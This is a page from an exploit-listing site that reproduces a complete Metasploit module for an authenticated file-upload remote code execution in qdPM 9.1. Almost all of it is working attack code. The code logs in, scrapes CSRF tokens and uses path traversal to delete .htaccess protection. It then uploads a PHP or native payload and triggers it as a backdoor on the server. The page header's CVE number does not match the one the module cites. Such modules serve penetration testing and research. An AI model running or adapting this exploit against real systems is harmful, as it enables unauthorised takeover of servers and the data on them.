Advertisement






qdPM 9.1 Authenticated Shell Upload

CVE Category Price Severity
CVE-2015-3884 CWE-434 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2022-09-29
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022090088

Below is a copy:

qdPM 9.1 Authenticated Shell Upload
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',
        'Description' => %q{
          A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.
          An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal
          vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.
          NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rishal Dwivedi (Loginsoft)', # Discovery
          'Leon Trappett (thepcn3rd)', # PoC
          'Giacomo Casoni' # Metasploit
        ],
        'References' => [
          ['CVE', '2020-7246'],
          ['EDB', '50175']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => %w[linux php],
        'Targets' => [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
          [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2020-11-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => ['CRASH_SAFE'],
          'Reliability' => ['IOC_IN_LOGS'],
          'SideEffects' => ['REPEATABLE_SESSION']
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),
        OptString.new('EMAIL', [true, 'The email to login with']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    uri = normalize_uri(uri, '/index.php')
    res = send_request_raw({ 'uri' => uri })
    if res.nil?
      return Exploit::CheckCode::Unknown
    end

    login_page = res.get_html_document
    begin
      version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f
    rescue StandardError
      return Exploit::CheckCode::Unknown
    end
    version = Rex::Version.new(version_num)
    if version <= Rex::Version.new('9.1')
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def get_write_exec_payload_win(fname, _data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");
    ?>
    |
    php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
    return php
  end

  def login(base, username, password)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'keep_cookies' => true
    })
    login_page = res.get_html_document
    csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'vars_post' => {
        'login[email]' => username,
        'login[password]' => password,
        'login[_csrf_token]' => csrf_token
      },
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}/#{base}/index.php/login"
      }
    })
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/myAccount"),
      'keep_cookies' => true,
      'headers' => {
        'Host' => rhost.to_s
      }
    })
    account_page = res.get_html_document
    begin
      userid = account_page.at("input[@name='users[id]']/@value").text.strip
    rescue StandardError
      print_error('The designated admin account does not have a user ID.')
      return {}
    end
    username = account_page.at("input[@name='users[name]']/@value").text.strip
    csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip
    opts = {
      'user_id' => userid,
      'name' => username,
      'csrf_token' => csrftoken_
    }
    return opts
  end

  def upload_php(base, opts)
    fname = opts['filename']
    php_payload = opts['data']
    user_id = opts['user_id']
    email = opts['email']
    csrf_token = opts['csrf_token']

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    )

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    )

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' },
      { 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }
    ]

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    })

    return res.code == 302
  end

  def exec_php(base, _opts)
    res = send_request_cgi({
      'uri' => normalize_uri("#{base}/index.php/myAccount"),
      'keep_cookies' => true
    })
    home_page = res.get_html_document
    backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip
    register_file_for_cleanup(backdoor)
    send_request_cgi({
      'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")
    })
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    user = datastore['EMAIL']
    pass = datastore['PASSWORD']
    print_status("Attempt to login with '#{user}:#{pass}'")
    opts = login(uri, user, pass)
    if opts.empty?
      print_error('Login unsuccessful or bad (admin) user')
      return
    end

    php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
    case target['Platform']
    when 'php'
      p = get_write_exec_payload
    when 'linux'
      p = get_write_exec_payload(unlink_self: true)
    when 'win'
      bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
      bin = generate_payload_exe
      p = get_write_exec_payload_win(bin_name.to_s, bin)
      print_warning("#{bin_name} will require manual cleanup")
    end

    print_status("Uploading PHP payload (#{p.length} bytes)...")
    data = {
      'email' => user.to_s,
      'filename' => php_fname,
      'data' => p
    }
    data = data.merge(opts)
    uploader = upload_php(uri, data)
    if !uploader
      print_error('Unable to upload')
      return
    end

    print_status("Executing '#{php_fname}'")
    exec_php(uri, opts)
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum